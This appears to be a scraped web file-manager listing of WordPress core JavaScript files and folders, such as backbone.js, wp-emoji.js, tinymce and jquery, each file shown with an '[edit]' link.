[-] customize-preview-nav-menus.js
[edit]
[-] masonry.min.js
[edit]
[-] customize-views.min.js
[edit]
[+]
..
[-] utils.min.js
[edit]
[-] media-audiovideo.js
[edit]
[-] media-views.js
[edit]
[-] customize-preview.js
[edit]
[-] shortcode.js
[edit]
[-] utils.js
[edit]
[-] wp-lists.js
[edit]
[-] backbone.js
[edit]
[-] customize-base.js
[edit]
[-] twemoji.min.js
[edit]
[-] clipboard.min.js
[edit]
[-] wp-emoji-loader.min.js
[edit]
[-] zxcvbn-async.min.js
[edit]
[-] wpdialog.min.js
[edit]
[-] api-request.js
[edit]
[-] hoverIntent.js
[edit]
[-] admin-bar.min.js
[edit]
[-] wp-api.min.js
[edit]
[-] heartbeat.min.js
[edit]
[-] customize-base.min.js
[edit]
[-] customize-loader.js
[edit]
[-] wp-util.min.js
[edit]
[-] wp-list-revisions.min.js
[edit]
[-] imagesloaded.min.js
[edit]
[-] wp-emoji-release.min.js
[edit]
[-] wp-embed-template.min.js
[edit]
[-] twemoji.js
[edit]
[+]
swfupload
[-] media-editor.js
[edit]
[+]
mediaelement
[-] autosave.min.js
[edit]
[-] media-models.min.js
[edit]
[-] customize-preview-widgets.js
[edit]
[-] wp-pointer.min.js
[edit]
[+]
plupload
[-] customize-preview.min.js
[edit]
[-] comment-reply.js
[edit]
[-] media-grid.js
[edit]
[-] media-models.js
[edit]
[-] wp-emoji.js
[edit]
[-] wp-sanitize.js
[edit]
[-] wp-auth-check.js
[edit]
[-] wp-sanitize.min.js
[edit]
[-] mce-view.js
[edit]
[-] media-grid.min.js
[edit]
[-] wp-emoji.min.js
[edit]
[-] customize-preview-nav-menus.min.js
[edit]
[-] wp-api.js
[edit]
[+]
jquery
[-] wp-pointer.js
[edit]
[-] swfobject.js
[edit]
[-] wp-embed-template.js
[edit]
[-] media-editor.min.js
[edit]
[-] wp-emoji-loader.js
[edit]
[-] wp-backbone.js
[edit]
[-] customize-selective-refresh.js
[edit]
[+]
tinymce
[-] media-audiovideo.min.js
[edit]
[-] swfobject.min.js
[edit]
[-] hoverintent-js.min.js
[edit]
[-] autosave.js
[edit]
[-] wp-list-revisions.js
[edit]
[-] shortcode.min.js
[edit]
[-] hoverIntent.min.js
[edit]
[+]
crop
[-] wp-auth-check.min.js
[edit]
[-] wp-custom-header.min.js
[edit]
[-] underscore.min.js
[edit]
[-] colorpicker.js
[edit]
[-] wp-ajax-response.min.js
[edit]
[-] clipboard.js
[edit]
[-] quicktags.min.js
[edit]
[+]
codemirror
[-] json2.min.js
[edit]
[+]
thickbox
[-] customize-preview-widgets.min.js
[edit]
[-] wpdialog.js
[edit]
[-] media-views.min.js
[edit]
[-] wplink.min.js
[edit]
[-] customize-models.min.js
[edit]
[-] wp-backbone.min.js
[edit]
[-] wp-lists.min.js
[edit]
[+]
dist
[-] wp-custom-header.js
[edit]
[-] customize-views.js
[edit]
[-] customize-selective-refresh.min.js
[edit]
[-] api-request.min.js
[edit]
[-] mce-view.min.js
[edit]
[-] colorpicker.min.js
[edit]
[-] backbone.min.js
[edit]
[-] wplink.js
[edit]
[-] wp-ajax-response.js
[edit]
[-] comment-reply.min.js
[edit]
[-] json2.js
[edit]
[-] wp-embed.js
[edit]
[-] wp-embed.min.js
[edit]
[+]
jcrop